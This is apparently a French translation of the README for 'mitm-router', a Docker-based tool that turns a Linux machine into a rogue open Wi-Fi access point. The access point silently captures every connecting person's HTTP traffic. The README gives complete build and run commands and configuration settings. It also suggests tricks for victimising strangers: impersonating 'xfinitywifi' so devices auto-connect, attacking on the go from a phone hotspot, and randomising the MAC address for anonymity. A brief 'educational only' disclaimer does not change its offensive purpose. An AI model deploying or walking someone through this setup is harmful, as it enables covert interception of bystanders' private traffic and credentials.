
☠ Point d'accès sans fil homme-du-milieu dans un conteneur Docker 🐳
Transformez n'importe quel ordinateur Linux en un réseau Wi-Fi public qui intercepte silencieusement (MITM) tout le trafic HTTP. Fonctionne dans un conteneur Docker en utilisant hostapd, dnsmasq et mitmproxy pour créer un réseau sans fil honeypot ouvert nommé "Public". Pour ajouter du fun, changez le nom du réseau en "xfinitywifi" pour connecter automatiquement quiconque s'est déjà connecté à ces réseaux... ils sont partout.
AVERTISSEMENT : Ce logiciel est à des fins éducatives uniquement. Il ne doit pas être utilisé pour des activités illégales. L'auteur n'est pas responsable de son utilisation. Ne soyez pas un connard.
# clone the repo
git clone https://github.com/brannondorsey/mitm-router
cd mitm-router
# build the image this step can be omitted if you prefer to pull
# the image from the docker hub repository
docker build . -t brannondorsey/mitm-router
Exécutez la commande suivante, en remplaçant AP_IFACE et INTERNET_IFACE par vos périphériques sans fil et vos périphériques Ethernet/sans fil connectés à Internet respectivement. Vous pouvez voir le nom de vos périphériques réseau en exécutant ifconfig.
# run the container
docker run -it --net host --privileged \
-e AP_IFACE="wlan0" \
-e INTERNET_IFACE="eth0" \
-e SSID="Public" \
-v "$(pwd)/data:/root/data" \
brannondorsey/mitm-router
Si tout s'est bien passé, vous devriez voir quelque chose comme ceci :
Current MAC: a5:ae:f9:a4:b7:e3 (TP-LINK TECHNOLOGIES CO.,LTD.)
Permanent MAC: a5:ae:f9:a4:b7:e3 (TP-LINK TECHNOLOGIES CO.,LTD.)
New MAC: 00:d2:6b:d5:fe:bd (PHOTRON USA)
[ ok ] Starting system message bus: dbus.
[ ok ] Starting DNS forwarder and DHCP server: dnsmasq.
[ ok ] Starting advanced IEEE 802.11 management: hostapd.
Proxy server listening at http://0.0.0.0:1337
mitm-router capture de manière transparente tout le trafic HTTP envoyé au routeur à 10.0.0.1:80. Il n'intercepte pas le trafic HTTPS (port 443) car cela alerterait un utilisateur qu'une possible attaque de l'homme du milieu est en cours. Le trafic entre les URL commençant par https:// ne sera pas capturé.
Le dossier mitm-router/data/ est partagé avec le conteneur Docker afin que nous puissions visualiser les fichiers de capture qu'il y place sur notre machine hôte. Par défaut, vous trouverez le fichier de capture mitmdump dans mitm-router/data/http-traffic.cap.
Vous pouvez également connecter votre INTERNET_IFACE à un point d'accès (hotspot) sur votre téléphone pour des attaques MITM en déplacement ;)
Si quelque chose semble avoir mal fonctionné, consultez la page de dépannage.
Arrêtez le conteneur Docker pour réinitialiser les règles de routage iptables.
# get the name of your container
docker ps
# attach to the container
docker stop <CONTAINER_NAME>
Proxy server listening at http://0.0.0.0:1337
[ ok ] Stopping DNS forwarder and DHCP server: dnsmasq.
[ ok ] Stopping advanced IEEE 802.11 management: hostapd.
[ ok ] Stopping system message bus: dbus.
received shutdown signal, exiting.
Par défaut, mitm-router randomise l'adresse MAC de votre AP_IFACE pour anonymiser votre périphérique réseau. Cela peut être désactivé avec la variable d'environnement MAC="unchanged". Vous pouvez également définir explicitement l'adresse MAC de AP_IFACE avec MAC="XX:XX:XX:XX:XX:XX.
Les variables d'environnement prises en charge sont listées ci-dessous avec leurs valeurs par défaut :
# wireless device name that will be used for the Access Point
AP_IFACE="wlan0"
# device name that is used for the router's internal internet connection
# packets from AP_IFACE will be forwarded to this device
INTERNET_IFACE="eth0"
# wireless network name
SSID="Public"
# optional WPA2 password; if left empty network will be public
PASSWORD=""
# optional randomization of AP_IFACE MAC address
# can be set to a specific value like "XX:XX:XX:XX:XX:XX"
# or "unchanged" to leave the device MAC alone
MAC="random"
# tcpdump output file location inside the container
CAPTURE_FILE="/root/data/http-traffic.cap"
# optional mitmproxy filter
# see http://docs.mitmproxy.org/en/stable/features/filters.html
FILTER=""
Consultez la page de dépannage pour plus d'informations.
Ce point d'accès fonctionne dans Docker pour l'isolation, garantissant que les éventuelles vulnérabilités exploitables dans le point d'accès ne permettront pas à un adversaire d'accéder à votre ordinateur ou à votre réseau domestique. Cela dit, il y a quelques mises en garde à connaître :
--net host partage toutes les interfaces réseau et les entrées iptables de la machine hôte avec le conteneur Docker. Supposez qu'un conteneur Docker vulnérable aurait un accès root à ces périphériques.--privileged donne des autorisations étendues au conteneur Docker.ufw sur Linux) pour bloquer le trafic entrant sur tous les ports afin que les ordinateurs du réseau "Public" n'aient pas accès aux services exposés de votre machine.Pour une sécurité accrue, je préfère exécuter ce conteneur Docker sur un ordinateur dédié, comme un Raspberry Pi.
Ce code est le résultat d'un fork conséquent de simonschuang's rpi-hostapd. Le code a été fortement modifié à des fins MITM.